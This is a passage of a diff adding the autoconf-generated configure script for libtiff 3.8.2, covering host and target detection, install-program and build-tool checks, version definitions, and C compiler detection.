+test -z "$ac_cv_host_alias" &&
+  ac_cv_host_alias=$ac_cv_build_alias
+ac_cv_host=`$ac_config_sub $ac_cv_host_alias` ||
+  { { echo "$as_me:$LINENO: error: $ac_config_sub $ac_cv_host_alias failed" >&5
+echo "$as_me: error: $ac_config_sub $ac_cv_host_alias failed" >&2;}
+   { (exit 1); exit 1; }; }
+
+fi
+echo "$as_me:$LINENO: result: $ac_cv_host" >&5
+echo "${ECHO_T}$ac_cv_host" >&6
+host=$ac_cv_host
+host_cpu=`echo $ac_cv_host | sed 's/^\([^-]*\)-\([^-]*\)-\(.*\)$/\1/'`
+host_vendor=`echo $ac_cv_host | sed 's/^\([^-]*\)-\([^-]*\)-\(.*\)$/\2/'`
+host_os=`echo $ac_cv_host | sed 's/^\([^-]*\)-\([^-]*\)-\(.*\)$/\3/'`
+
+
+echo "$as_me:$LINENO: checking target system type" >&5
+echo $ECHO_N "checking target system type... $ECHO_C" >&6
+if test "${ac_cv_target+set}" = set; then
+  echo $ECHO_N "(cached) $ECHO_C" >&6
+else
+  ac_cv_target_alias=$target_alias
+test "x$ac_cv_target_alias" = "x" &&
+  ac_cv_target_alias=$ac_cv_host_alias
+ac_cv_target=`$ac_config_sub $ac_cv_target_alias` ||
+  { { echo "$as_me:$LINENO: error: $ac_config_sub $ac_cv_target_alias failed" >&5
+echo "$as_me: error: $ac_config_sub $ac_cv_target_alias failed" >&2;}
+   { (exit 1); exit 1; }; }
+
+fi
+echo "$as_me:$LINENO: result: $ac_cv_target" >&5
+echo "${ECHO_T}$ac_cv_target" >&6
+target=$ac_cv_target
+target_cpu=`echo $ac_cv_target | sed 's/^\([^-]*\)-\([^-]*\)-\(.*\)$/\1/'`
+target_vendor=`echo $ac_cv_target | sed 's/^\([^-]*\)-\([^-]*\)-\(.*\)$/\2/'`
+target_os=`echo $ac_cv_target | sed 's/^\([^-]*\)-\([^-]*\)-\(.*\)$/\3/'`
+
+
+# The aliases save the names the user supplied, while $host etc.
+# will get canonicalized.
+test -n "$target_alias" &&
+  test "$program_prefix$program_suffix$program_transform_name" = \
+    NONENONEs,x,x, &&
+  program_prefix=${target_alias}-
+
+am__api_version="1.9"
+# Find a good install program.  We prefer a C program (faster),
+# so one script is as good as another.  But avoid the broken or
+# incompatible versions:
+# SysV /etc/install, /usr/sbin/install
+# SunOS /usr/etc/install
+# IRIX /sbin/install
+# AIX /bin/install
+# AmigaOS /C/install, which installs bootblocks on floppy discs
+# AIX 4 /usr/bin/installbsd, which doesn't work without a -g flag
+# AFS /usr/afsws/bin/install, which mishandles nonexistent args
+# SVR4 /usr/ucb/install, which tries to use the nonexistent group "staff"
+# OS/2's system install, which has a completely different semantic
+# ./install, which can be erroneously created by make from ./install.sh.
+echo "$as_me:$LINENO: checking for a BSD-compatible install" >&5
+echo $ECHO_N "checking for a BSD-compatible install... $ECHO_C" >&6
+if test -z "$INSTALL"; then
+if test "${ac_cv_path_install+set}" = set; then
+  echo $ECHO_N "(cached) $ECHO_C" >&6
+else
+  as_save_IFS=$IFS; IFS=$PATH_SEPARATOR
+for as_dir in $PATH
+do
+  IFS=$as_save_IFS
+  test -z "$as_dir" && as_dir=.
+  # Account for people who put trailing slashes in PATH elements.
+case $as_dir/ in
+  ./ | .// | /cC/* | \
+  /etc/* | /usr/sbin/* | /usr/etc/* | /sbin/* | /usr/afsws/bin/* | \
+  ?:\\/os2\\/install\\/* | ?:\\/OS2\\/INSTALL\\/* | \
+  /usr/ucb/* ) ;;
+  *)
+    # OSF1 and SCO ODT 3.0 have their own names for install.
+    # Don't use installbsd from OSF since it installs stuff as root
+    # by default.
+    for ac_prog in ginstall scoinst install; do
+      for ac_exec_ext in '' $ac_executable_extensions; do
+	if $as_executable_p "$as_dir/$ac_prog$ac_exec_ext"; then
+	  if test $ac_prog = install &&
+	    grep dspmsg "$as_dir/$ac_prog$ac_exec_ext" >/dev/null 2>&1; then
+	    # AIX install.  It has an incompatible calling convention.
+	    :
+	  elif test $ac_prog = install &&
+	    grep pwplus "$as_dir/$ac_prog$ac_exec_ext" >/dev/null 2>&1; then
+	    # program-specific install script used by HP pwplus--don't use.
+	    :
+	  else
+	    ac_cv_path_install="$as_dir/$ac_prog$ac_exec_ext -c"
+	    break 3
+	  fi
+	fi
+      done
+    done
+    ;;
+esac
+done
+
+
+fi
+  if test "${ac_cv_path_install+set}" = set; then
+    INSTALL=$ac_cv_path_install
+  else
+    # As a last resort, use the slow shell script.  We don't cache a
+    # path for INSTALL within a source directory, because that will
+    # break other packages using the cache if that directory is
+    # removed, or if the path is relative.
+    INSTALL=$ac_install_sh
+  fi
+fi
+echo "$as_me:$LINENO: result: $INSTALL" >&5
+echo "${ECHO_T}$INSTALL" >&6
+
+# Use test -z because SunOS4 sh mishandles braces in ${var-val}.
+# It thinks the first close brace ends the variable substitution.
+test -z "$INSTALL_PROGRAM" && INSTALL_PROGRAM='${INSTALL}'
+
+test -z "$INSTALL_SCRIPT" && INSTALL_SCRIPT='${INSTALL}'
+
+test -z "$INSTALL_DATA" && INSTALL_DATA='${INSTALL} -m 644'
+
+echo "$as_me:$LINENO: checking whether build environment is sane" >&5
+echo $ECHO_N "checking whether build environment is sane... $ECHO_C" >&6
+# Just in case
+sleep 1
+echo timestamp > conftest.file
+# Do `set' in a subshell so we don't clobber the current shell's
+# arguments.  Must try -L first in case configure is actually a
+# symlink; some systems play weird games with the mod time of symlinks
+# (eg FreeBSD returns the mod time of the symlink's containing
+# directory).
+if (
+   set X `ls -Lt $srcdir/configure conftest.file 2> /dev/null`
+   if test "$*" = "X"; then
+      # -L didn't work.
+      set X `ls -t $srcdir/configure conftest.file`
+   fi
+   rm -f conftest.file
+   if test "$*" != "X $srcdir/configure conftest.file" \
+      && test "$*" != "X conftest.file $srcdir/configure"; then
+
+      # If neither matched, then we have a broken ls.  This can happen
+      # if, for instance, CONFIG_SHELL is bash and it inherits a
+      # broken ls alias from the environment.  This has actually
+      # happened.  Such a system could not be considered "sane".
+      { { echo "$as_me:$LINENO: error: ls -t appears to fail.  Make sure there is not a broken
+alias in your environment" >&5
+echo "$as_me: error: ls -t appears to fail.  Make sure there is not a broken
+alias in your environment" >&2;}
+   { (exit 1); exit 1; }; }
+   fi
+
+   test "$2" = conftest.file
+   )
+then
+   # Ok.
+   :
+else
+   { { echo "$as_me:$LINENO: error: newly created file is older than distributed files!
+Check your system clock" >&5
+echo "$as_me: error: newly created file is older than distributed files!
+Check your system clock" >&2;}
+   { (exit 1); exit 1; }; }
+fi
+echo "$as_me:$LINENO: result: yes" >&5
+echo "${ECHO_T}yes" >&6
+test "$program_prefix" != NONE &&
+  program_transform_name="s,^,$program_prefix,;$program_transform_name"
+# Use a double $ so make ignores it.
+test "$program_suffix" != NONE &&
+  program_transform_name="s,\$,$program_suffix,;$program_transform_name"
+# Double any \ or $.  echo might interpret backslashes.
+# By default was `s,x,x', remove it if useless.
+cat <<\_ACEOF >conftest.sed
+s/[\\$]/&&/g;s/;s,x,x,$//
+_ACEOF
+program_transform_name=`echo $program_transform_name | sed -f conftest.sed`
+rm conftest.sed
+
+# expand $ac_aux_dir to an absolute path
+am_aux_dir=`cd $ac_aux_dir && pwd`
+
+test x"${MISSING+set}" = xset || MISSING="\${SHELL} $am_aux_dir/missing"
+# Use eval to expand $SHELL
+if eval "$MISSING --run true"; then
+  am_missing_run="$MISSING --run "
+else
+  am_missing_run=
+  { echo "$as_me:$LINENO: WARNING: \`missing' script is too old or missing" >&5
+echo "$as_me: WARNING: \`missing' script is too old or missing" >&2;}
+fi
+
+if mkdir -p --version . >/dev/null 2>&1 && test ! -d ./--version; then
+  # We used to keeping the `.' as first argument, in order to
+  # allow $(mkdir_p) to be used without argument.  As in
+  #   $(mkdir_p) $(somedir)
+  # where $(somedir) is conditionally defined.  However this is wrong
+  # for two reasons:
+  #  1. if the package is installed by a user who cannot write `.'
+  #     make install will fail,
+  #  2. the above comment should most certainly read
+  #     $(mkdir_p) $(DESTDIR)$(somedir)
+  #     so it does not work when $(somedir) is undefined and
+  #     $(DESTDIR) is not.
+  #  To support the latter case, we have to write
+  #     test -z "$(somedir)" || $(mkdir_p) $(DESTDIR)$(somedir),
+  #  so the `.' trick is pointless.
+  mkdir_p='mkdir -p --'
+else
+  # On NextStep and OpenStep, the `mkdir' command does not
+  # recognize any option.  It will interpret all options as
+  # directories to create, and then abort because `.' already
+  # exists.
+  for d in ./-p ./--version;
+  do
+    test -d $d && rmdir $d
+  done
+  # $(mkinstalldirs) is defined by Automake if mkinstalldirs exists.
+  if test -f "$ac_aux_dir/mkinstalldirs"; then
+    mkdir_p='$(mkinstalldirs)'
+  else
+    mkdir_p='$(install_sh) -d'
+  fi
+fi
+
+for ac_prog in gawk mawk nawk awk
+do
+  # Extract the first word of "$ac_prog", so it can be a program name with args.
+set dummy $ac_prog; ac_word=$2
+echo "$as_me:$LINENO: checking for $ac_word" >&5
+echo $ECHO_N "checking for $ac_word... $ECHO_C" >&6
+if test "${ac_cv_prog_AWK+set}" = set; then
+  echo $ECHO_N "(cached) $ECHO_C" >&6
+else
+  if test -n "$AWK"; then
+  ac_cv_prog_AWK="$AWK" # Let the user override the test.
+else
+as_save_IFS=$IFS; IFS=$PATH_SEPARATOR
+for as_dir in $PATH
+do
+  IFS=$as_save_IFS
+  test -z "$as_dir" && as_dir=.
+  for ac_exec_ext in '' $ac_executable_extensions; do
+  if $as_executable_p "$as_dir/$ac_word$ac_exec_ext"; then
+    ac_cv_prog_AWK="$ac_prog"
+    echo "$as_me:$LINENO: found $as_dir/$ac_word$ac_exec_ext" >&5
+    break 2
+  fi
+done
+done
+
+fi
+fi
+AWK=$ac_cv_prog_AWK
+if test -n "$AWK"; then
+  echo "$as_me:$LINENO: result: $AWK" >&5
+echo "${ECHO_T}$AWK" >&6
+else
+  echo "$as_me:$LINENO: result: no" >&5
+echo "${ECHO_T}no" >&6
+fi
+
+  test -n "$AWK" && break
+done
+
+echo "$as_me:$LINENO: checking whether ${MAKE-make} sets \$(MAKE)" >&5
+echo $ECHO_N "checking whether ${MAKE-make} sets \$(MAKE)... $ECHO_C" >&6
+set dummy ${MAKE-make}; ac_make=`echo "$2" | sed 'y,:./+-,___p_,'`
+if eval "test \"\${ac_cv_prog_make_${ac_make}_set+set}\" = set"; then
+  echo $ECHO_N "(cached) $ECHO_C" >&6
+else
+  cat >conftest.make <<\_ACEOF
+all:
+	@echo 'ac_maketemp="$(MAKE)"'
+_ACEOF
+# GNU make sometimes prints "make[1]: Entering...", which would confuse us.
+eval `${MAKE-make} -f conftest.make 2>/dev/null | grep temp=`
+if test -n "$ac_maketemp"; then
+  eval ac_cv_prog_make_${ac_make}_set=yes
+else
+  eval ac_cv_prog_make_${ac_make}_set=no
+fi
+rm -f conftest.make
+fi
+if eval "test \"`echo '$ac_cv_prog_make_'${ac_make}_set`\" = yes"; then
+  echo "$as_me:$LINENO: result: yes" >&5
+echo "${ECHO_T}yes" >&6
+  SET_MAKE=
+else
+  echo "$as_me:$LINENO: result: no" >&5
+echo "${ECHO_T}no" >&6
+  SET_MAKE="MAKE=${MAKE-make}"
+fi
+
+rm -rf .tst 2>/dev/null
+mkdir .tst 2>/dev/null
+if test -d .tst; then
+  am__leading_dot=.
+else
+  am__leading_dot=_
+fi
+rmdir .tst 2>/dev/null
+
+# test to see if srcdir already configured
+if test "`cd $srcdir && pwd`" != "`pwd`" &&
+   test -f $srcdir/config.status; then
+  { { echo "$as_me:$LINENO: error: source directory already configured; run \"make distclean\" there first" >&5
+echo "$as_me: error: source directory already configured; run \"make distclean\" there first" >&2;}
+   { (exit 1); exit 1; }; }
+fi
+
+# test whether we have cygpath
+if test -z "$CYGPATH_W"; then
+  if (cygpath --version) >/dev/null 2>/dev/null; then
+    CYGPATH_W='cygpath -w'
+  else
+    CYGPATH_W=echo
+  fi
+fi
+
+
+# Define the identity of the package.
+ PACKAGE='tiff'
+ VERSION='3.8.2'
+
+
+cat >>confdefs.h <<_ACEOF
+#define PACKAGE "$PACKAGE"
+_ACEOF
+
+
+cat >>confdefs.h <<_ACEOF
+#define VERSION "$VERSION"
+_ACEOF
+
+# Some tools Automake needs.
+
+ACLOCAL=${ACLOCAL-"${am_missing_run}aclocal-${am__api_version}"}
+
+
+AUTOCONF=${AUTOCONF-"${am_missing_run}autoconf"}
+
+
+AUTOMAKE=${AUTOMAKE-"${am_missing_run}automake-${am__api_version}"}
+
+
+AUTOHEADER=${AUTOHEADER-"${am_missing_run}autoheader"}
+
+
+MAKEINFO=${MAKEINFO-"${am_missing_run}makeinfo"}
+
+install_sh=${install_sh-"$am_aux_dir/install-sh"}
+
+# Installed binaries are usually stripped using `strip' when the user
+# run `make install-strip'.  However `strip' might not be the right
+# tool to use in cross-compilation environments, therefore Automake
+# will honor the `STRIP' environment variable to overrule this program.
+if test "$cross_compiling" != no; then
+  if test -n "$ac_tool_prefix"; then
+  # Extract the first word of "${ac_tool_prefix}strip", so it can be a program name with args.
+set dummy ${ac_tool_prefix}strip; ac_word=$2
+echo "$as_me:$LINENO: checking for $ac_word" >&5
+echo $ECHO_N "checking for $ac_word... $ECHO_C" >&6
+if test "${ac_cv_prog_STRIP+set}" = set; then
+  echo $ECHO_N "(cached) $ECHO_C" >&6
+else
+  if test -n "$STRIP"; then
+  ac_cv_prog_STRIP="$STRIP" # Let the user override the test.
+else
+as_save_IFS=$IFS; IFS=$PATH_SEPARATOR
+for as_dir in $PATH
+do
+  IFS=$as_save_IFS
+  test -z "$as_dir" && as_dir=.
+  for ac_exec_ext in '' $ac_executable_extensions; do
+  if $as_executable_p "$as_dir/$ac_word$ac_exec_ext"; then
+    ac_cv_prog_STRIP="${ac_tool_prefix}strip"
+    echo "$as_me:$LINENO: found $as_dir/$ac_word$ac_exec_ext" >&5
+    break 2
+  fi
+done
+done
+
+fi
+fi
+STRIP=$ac_cv_prog_STRIP
+if test -n "$STRIP"; then
+  echo "$as_me:$LINENO: result: $STRIP" >&5
+echo "${ECHO_T}$STRIP" >&6
+else
+  echo "$as_me:$LINENO: result: no" >&5
+echo "${ECHO_T}no" >&6
+fi
+
+fi
+if test -z "$ac_cv_prog_STRIP"; then
+  ac_ct_STRIP=$STRIP
+  # Extract the first word of "strip", so it can be a program name with args.
+set dummy strip; ac_word=$2
+echo "$as_me:$LINENO: checking for $ac_word" >&5
+echo $ECHO_N "checking for $ac_word... $ECHO_C" >&6
+if test "${ac_cv_prog_ac_ct_STRIP+set}" = set; then
+  echo $ECHO_N "(cached) $ECHO_C" >&6
+else
+  if test -n "$ac_ct_STRIP"; then
+  ac_cv_prog_ac_ct_STRIP="$ac_ct_STRIP" # Let the user override the test.
+else
+as_save_IFS=$IFS; IFS=$PATH_SEPARATOR
+for as_dir in $PATH
+do
+  IFS=$as_save_IFS
+  test -z "$as_dir" && as_dir=.
+  for ac_exec_ext in '' $ac_executable_extensions; do
+  if $as_executable_p "$as_dir/$ac_word$ac_exec_ext"; then
+    ac_cv_prog_ac_ct_STRIP="strip"
+    echo "$as_me:$LINENO: found $as_dir/$ac_word$ac_exec_ext" >&5
+    break 2
+  fi
+done
+done
+
+  test -z "$ac_cv_prog_ac_ct_STRIP" && ac_cv_prog_ac_ct_STRIP=":"
+fi
+fi
+ac_ct_STRIP=$ac_cv_prog_ac_ct_STRIP
+if test -n "$ac_ct_STRIP"; then
+  echo "$as_me:$LINENO: result: $ac_ct_STRIP" >&5
+echo "${ECHO_T}$ac_ct_STRIP" >&6
+else
+  echo "$as_me:$LINENO: result: no" >&5
+echo "${ECHO_T}no" >&6
+fi
+
+  STRIP=$ac_ct_STRIP
+else
+  STRIP="$ac_cv_prog_STRIP"
+fi
+
+fi
+INSTALL_STRIP_PROGRAM="\${SHELL} \$(install_sh) -c -s"
+
+# We need awk for the "check" target.  The system "awk" is bad on
+# some platforms.
+# Always define AMTAR for backward compatibility.
+
+AMTAR=${AMTAR-"${am_missing_run}tar"}
+
+am__tar='${AMTAR} chof - "$$tardir"'; am__untar='${AMTAR} xf -'
+
+
+
+
+
+echo "$as_me:$LINENO: checking whether to enable maintainer-specific portions of Makefiles" >&5
+echo $ECHO_N "checking whether to enable maintainer-specific portions of Makefiles... $ECHO_C" >&6
+    # Check whether --enable-maintainer-mode or --disable-maintainer-mode was given.
+if test "${enable_maintainer_mode+set}" = set; then
+  enableval="$enable_maintainer_mode"
+  USE_MAINTAINER_MODE=$enableval
+else
+  USE_MAINTAINER_MODE=no
+fi;
+  echo "$as_me:$LINENO: result: $USE_MAINTAINER_MODE" >&5
+echo "${ECHO_T}$USE_MAINTAINER_MODE" >&6
+
+
+if test $USE_MAINTAINER_MODE = yes; then
+  MAINTAINER_MODE_TRUE=
+  MAINTAINER_MODE_FALSE='#'
+else
+  MAINTAINER_MODE_TRUE='#'
+  MAINTAINER_MODE_FALSE=
+fi
+
+  MAINT=$MAINTAINER_MODE_TRUE
+
+
+
+LIBTIFF_MAJOR_VERSION=3
+LIBTIFF_MINOR_VERSION=8
+LIBTIFF_MICRO_VERSION=2
+LIBTIFF_ALPHA_VERSION=
+LIBTIFF_VERSION=$LIBTIFF_MAJOR_VERSION.$LIBTIFF_MINOR_VERSION.$LIBTIFF_MICRO_VERSION$LIBTIFF_ALPHA_VERSION
+LIBTIFF_RELEASE_DATE=`date +"%Y%m%d"`
+
+# This is a special hack for OpenBSD and MirOS systems. The dynamic linker
+# in OpenBSD uses some special semantics for shared libraries. Their soname
+# contains only two numbers, major and minor.
+# See http://bugzilla.remotesensing.org/show_bug.cgi?id=838 for details.
+case "$target_os" in
+    openbsd* | mirbsd*)
+	LIBTIFF_VERSION_INFO=$LIBTIFF_MAJOR_VERSION$LIBTIFF_MINOR_VERSION:$LIBTIFF_MICRO_VERSION$LIBTIFF_ALPHA_VERSION:0
+	;;
+    *)
+	LIBTIFF_VERSION_INFO=$LIBTIFF_MAJOR_VERSION:$LIBTIFF_MINOR_VERSION:$LIBTIFF_MICRO_VERSION$LIBTIFF_ALPHA_VERSION
+	;;
+esac
+
+
+
+
+
+
+
+
+
+ac_ext=c
+ac_cpp='$CPP $CPPFLAGS'
+ac_compile='$CC -c $CFLAGS $CPPFLAGS conftest.$ac_ext >&5'
+ac_link='$CC -o conftest$ac_exeext $CFLAGS $CPPFLAGS $LDFLAGS conftest.$ac_ext $LIBS >&5'
+ac_compiler_gnu=$ac_cv_c_compiler_gnu
+if test -n "$ac_tool_prefix"; then
+  # Extract the first word of "${ac_tool_prefix}gcc", so it can be a program name with args.
+set dummy ${ac_tool_prefix}gcc; ac_word=$2
+echo "$as_me:$LINENO: checking for $ac_word" >&5
+echo $ECHO_N "checking for $ac_word... $ECHO_C" >&6
+if test "${ac_cv_prog_CC+set}" = set; then
+  echo $ECHO_N "(cached) $ECHO_C" >&6
+else
+  if test -n "$CC"; then
+  ac_cv_prog_CC="$CC" # Let the user override the test.
+else
+as_save_IFS=$IFS; IFS=$PATH_SEPARATOR
+for as_dir in $PATH
+do
+  IFS=$as_save_IFS
+  test -z "$as_dir" && as_dir=.
+  for ac_exec_ext in '' $ac_executable_extensions; do
+  if $as_executable_p "$as_dir/$ac_word$ac_exec_ext"; then
+    ac_cv_prog_CC="${ac_tool_prefix}gcc"
+    echo "$as_me:$LINENO: found $as_dir/$ac_word$ac_exec_ext" >&5
+    break 2
+  fi
+done
+done
+
+fi
+fi
+CC=$ac_cv_prog_CC
+if test -n "$CC"; then
+  echo "$as_me:$LINENO: result: $CC" >&5
+echo "${ECHO_T}$CC" >&6
+else
+  echo "$as_me:$LINENO: result: no" >&5
+echo "${ECHO_T}no" >&6
+fi
+
+fi
+if test -z "$ac_cv_prog_CC"; then
+  ac_ct_CC=$CC
+  # Extract the first word of "gcc", so it can be a program name with args.
+set dummy gcc; ac_word=$2
+echo "$as_me:$LINENO: checking for $ac_word" >&5
+echo $ECHO_N "checking for $ac_word... $ECHO_C" >&6
+if test "${ac_cv_prog_ac_ct_CC+set}" = set; then
+  echo $ECHO_N "(cached) $ECHO_C" >&6
+else
+  if test -n "$ac_ct_CC"; then
+  ac_cv_prog_ac_ct_CC="$ac_ct_CC" # Let the user override the test.
+else
+as_save_IFS=$IFS; IFS=$PATH_SEPARATOR
+for as_dir in $PATH
+do
+  IFS=$as_save_IFS
+  test -z "$as_dir" && as_dir=.
+  for ac_exec_ext in '' $ac_executable_extensions; do
+  if $as_executable_p "$as_dir/$ac_word$ac_exec_ext"; then
+    ac_cv_prog_ac_ct_CC="gcc"
+    echo "$as_me:$LINENO: found $as_dir/$ac_word$ac_exec_ext" >&5
+    break 2
+  fi
+done
+done
+
+fi
+fi
+ac_ct_CC=$ac_cv_prog_ac_ct_CC
+if test -n "$ac_ct_CC"; then
+  echo "$as_me:$LINENO: result: $ac_ct_CC" >&5
+echo "${ECHO_T}$ac_ct_CC" >&6
+else
+  echo "$as_me:$LINENO: result: no" >&5
+echo "${ECHO_T}no" >&6
+fi
+
+  CC=$ac_ct_CC
+else
+  CC="$ac_cv_prog_CC"
+fi
+
+if test -z "$CC"; then
+  if test -n "$ac_tool_prefix"; then
+  # Extract the first word of "${ac_tool_prefix}cc", so it can be a program name with args.
+set dummy ${ac_tool_prefix}cc; ac_word=$2
+echo "$as_me:$LINENO: checking for $ac_word" >&5
+echo $ECHO_N "checking for $ac_word... $ECHO_C" >&6
+if test "${ac_cv_prog_CC+set}" = set; then
+  echo $ECHO_N "(cached) $ECHO_C" >&6
+else
+  if test -n "$CC"; then
+  ac_cv_prog_CC="$CC" # Let the user override the test.
+else
+as_save_IFS=$IFS; IFS=$PATH_SEPARATOR
+for as_dir in $PATH
+do
+  IFS=$as_save_IFS
+  test -z "$as_dir" && as_dir=.
+  for ac_exec_ext in '' $ac_executable_extensions; do
+  if $as_executable_p "$as_dir/$ac_word$ac_exec_ext"; then
+    ac_cv_prog_CC="${ac_tool_prefix}cc"
+    echo "$as_me:$LINENO: found $as_dir/$ac_word$ac_exec_ext" >&5
+    break 2
+  fi
+done
+done
+
+fi
+fi
+CC=$ac_cv_prog_CC
+if test -n "$CC"; then
+  echo "$as_me:$LINENO: result: $CC" >&5
+echo "${ECHO_T}$CC" >&6
+else
+  echo "$as_me:$LINENO: result: no" >&5
+echo "${ECHO_T}no" >&6
+fi
+
+fi
+if test -z "$ac_cv_prog_CC"; then
+  ac_ct_CC=$CC
+  # Extract the first word of "cc", so it can be a program name with args.
+set dummy cc; ac_word=$2
+echo "$as_me:$LINENO: checking for $ac_word" >&5
+echo $ECHO_N "checking for $ac_word... $ECHO_C" >&6
+if test "${ac_cv_prog_ac_ct_CC+set}" = set; then
+  echo $ECHO_N "(cached) $ECHO_C" >&6
+else
+  if test -n "$ac_ct_CC"; then
+  ac_cv_prog_ac_ct_CC="$ac_ct_CC" # Let the user override the test.
+else
+as_save_IFS=$IFS; IFS=$PATH_SEPARATOR
+for as_dir in $PATH
+do
+  IFS=$as_save_IFS
+  test -z "$as_dir" && as_dir=.
+  for ac_exec_ext in '' $ac_executable_extensions; do
+  if $as_executable_p "$as_dir/$ac_word$ac_exec_ext"; then
+    ac_cv_prog_ac_ct_CC="cc"
+    echo "$as_me:$LINENO: found $as_dir/$ac_word$ac_exec_ext" >&5
+    break 2
+  fi
+done
+done
+
+fi
+fi
+ac_ct_CC=$ac_cv_prog_ac_ct_CC
+if test -n "$ac_ct_CC"; then
+  echo "$as_me:$LINENO: result: $ac_ct_CC" >&5
+echo "${ECHO_T}$ac_ct_CC" >&6
+else
+  echo "$as_me:$LINENO: result: no" >&5
+echo "${ECHO_T}no" >&6
+fi
+
+  CC=$ac_ct_CC
+else
+  CC="$ac_cv_prog_CC"
+fi
+
+fi
+if test -z "$CC"; then
+  # Extract the first word of "cc", so it can be a program name with args.
+set dummy cc; ac_word=$2
+echo "$as_me:$LINENO: checking for $ac_word" >&5
+echo $ECHO_N "checking for $ac_word... $ECHO_C" >&6
+if test "${ac_cv_prog_CC+set}" = set; then
+  echo $ECHO_N "(cached) $ECHO_C" >&6
+else
+  if test -n "$CC"; then
+  ac_cv_prog_CC="$CC" # Let the user override the test.
+else
+  ac_prog_rejected=no
+as_save_IFS=$IFS; IFS=$PATH_SEPARATOR
+for as_dir in $PATH
+do
+  IFS=$as_save_IFS
+  test -z "$as_dir" && as_dir=.
+  for ac_exec_ext in '' $ac_executable_extensions; do
+  if $as_executable_p "$as_dir/$ac_word$ac_exec_ext"; then
+    if test "$as_dir/$ac_word$ac_exec_ext" = "/usr/ucb/cc"; then
+       ac_prog_rejected=yes
+       continue
+     fi
+    ac_cv_prog_CC="cc"
+    echo "$as_me:$LINENO: found $as_dir/$ac_word$ac_exec_ext" >&5
+    break 2
+  fi
+done
+done
+
+if test $ac_prog_rejected = yes; then
+  # We found a bogon in the path, so make sure we never use it.
+  set dummy $ac_cv_prog_CC
+  shift
+  if test $# != 0; then
+    # We chose a different compiler from the bogus one.
+    # However, it has the same basename, so the bogon will be chosen
+    # first if we set CC to just the basename; use the full file name.
+    shift
+    ac_cv_prog_CC="$as_dir/$ac_word${1+' '}$@"
+  fi
+fi
+fi
+fi
+CC=$ac_cv_prog_CC
+if test -n "$CC"; then
+  echo "$as_me:$LINENO: result: $CC" >&5
+echo "${ECHO_T}$CC" >&6
+else
+  echo "$as_me:$LINENO: result: no" >&5
+echo "${ECHO_T}no" >&6
+fi
+
+fi
+if test -z "$CC"; then
+  if test -n "$ac_tool_prefix"; then
+  for ac_prog in cl
+  do
+    # Extract the first word of "$ac_tool_prefix$ac_prog", so it can be a program name with args.
+set dummy $ac_tool_prefix$ac_prog; ac_word=$2
+echo "$as_me:$LINENO: checking for $ac_word" >&5
+echo $ECHO_N "checking for $ac_word... $ECHO_C" >&6
+if test "${ac_cv_prog_CC+set}" = set; then
+  echo $ECHO_N "(cached) $ECHO_C" >&6
+else
+  if test -n "$CC"; then
+  ac_cv_prog_CC="$CC" # Let the user override the test.
+else
+as_save_IFS=$IFS; IFS=$PATH_SEPARATOR
+for as_dir in $PATH
+do
+  IFS=$as_save_IFS
+  test -z "$as_dir" && as_dir=.
+  for ac_exec_ext in '' $ac_executable_extensions; do
+  if $as_executable_p "$as_dir/$ac_word$ac_exec_ext"; then
+    ac_cv_prog_CC="$ac_tool_prefix$ac_prog"
+    echo "$as_me:$LINENO: found $as_dir/$ac_word$ac_exec_ext" >&5
+    break 2
+  fi
+done
+done
+
+fi
+fi
+CC=$ac_cv_prog_CC
+if test -n "$CC"; then
+  echo "$as_me:$LINENO: result: $CC" >&5
+echo "${ECHO_T}$CC" >&6
+else
+  echo "$as_me:$LINENO: result: no" >&5
+echo "${ECHO_T}no" >&6
+fi
+
+    test -n "$CC" && break
+  done
+fi
+if test -z "$CC"; then
+  ac_ct_CC=$CC
+  for ac_prog in cl
+do
+  # Extract the first word of "$ac_prog", so it can be a program name with args.
+set dummy $ac_prog; ac_word=$2
+echo "$as_me:$LINENO: checking for $ac_word" >&5
+echo $ECHO_N "checking for $ac_word... $ECHO_C" >&6
+if test "${ac_cv_prog_ac_ct_CC+set}" = set; then
+  echo $ECHO_N "(cached) $ECHO_C" >&6
+else
+  if test -n "$ac_ct_CC"; then
+  ac_cv_prog_ac_ct_CC="$ac_ct_CC" # Let the user override the test.
+else
+as_save_IFS=$IFS; IFS=$PATH_SEPARATOR
+for as_dir in $PATH
+do
+  IFS=$as_save_IFS
+  test -z "$as_dir" && as_dir=.
+  for ac_exec_ext in '' $ac_executable_extensions; do
+  if $as_executable_p "$as_dir/$ac_word$ac_exec_ext"; then
+    ac_cv_prog_ac_ct_CC="$ac_prog"
+    echo "$as_me:$LINENO: found $as_dir/$ac_word$ac_exec_ext" >&5
+    break 2
+  fi
+done
+done
+
+fi
+fi
+ac_ct_CC=$ac_cv_prog_ac_ct_CC
+if test -n "$ac_ct_CC"; then
+  echo "$as_me:$LINENO: result: $ac_ct_CC" >&5
+echo "${ECHO_T}$ac_ct_CC" >&6
+else
+  echo "$as_me:$LINENO: result: no" >&5
+echo "${ECHO_T}no" >&6
+fi
+
+  test -n "$ac_ct_CC" && break
+done
+
+  CC=$ac_ct_CC
+fi
+
+fi
+
+
+test -z "$CC" && { { echo "$as_me:$LINENO: error: no acceptable C compiler found in \$PATH
+See \`config.log' for more details." >&5
+echo "$as_me: error: no acceptable C compiler found in \$PATH
+See \`config.log' for more details." >&2;}
+   { (exit 1); exit 1; }; }
+
+# Provide some information about the compiler.
+echo "$as_me:$LINENO:" \
+     "checking for C compiler version" >&5
+ac_compiler=`set X $ac_compile; echo $2`
+{ (eval echo "$as_me:$LINENO: \"$ac_compiler --version </dev/null >&5\"") >&5
+  (eval $ac_compiler --version </dev/null >&5) 2>&5
+  ac_status=$?
+  echo "$as_me:$LINENO: \$? = $ac_status" >&5
+  (exit $ac_status); }
+{ (eval echo "$as_me:$LINENO: \"$ac_compiler -v </dev/null >&5\"") >&5
+  (eval $ac_compiler -v </dev/null >&5) 2>&5
+  ac_status=$?
+  echo "$as_me:$LINENO: \$? = $ac_status" >&5
+  (exit $ac_status); }
+{ (eval echo "$as_me:$LINENO: \"$ac_compiler -V </dev/null >&5\"") >&5
+  (eval $ac_compiler -V </dev/null >&5) 2>&5
+  ac_status=$?
+  echo "$as_me:$LINENO: \$? = $ac_status" >&5
+  (exit $ac_status); }
+
+cat >conftest.$ac_ext <<_ACEOF
+/* confdefs.h.  */
+_ACEOF
+cat confdefs.h >>conftest.$ac_ext
+cat >>conftest.$ac_ext <<_ACEOF
+/* end confdefs.h.  */
+
+int
+main ()
+{
+
+  ;
+  return 0;
+}
+_ACEOF
+ac_clean_files_save=$ac_clean_files
+ac_clean_files="$ac_clean_files a.out a.exe b.out"
+# Try to create an executable without -o first, disregard a.out.
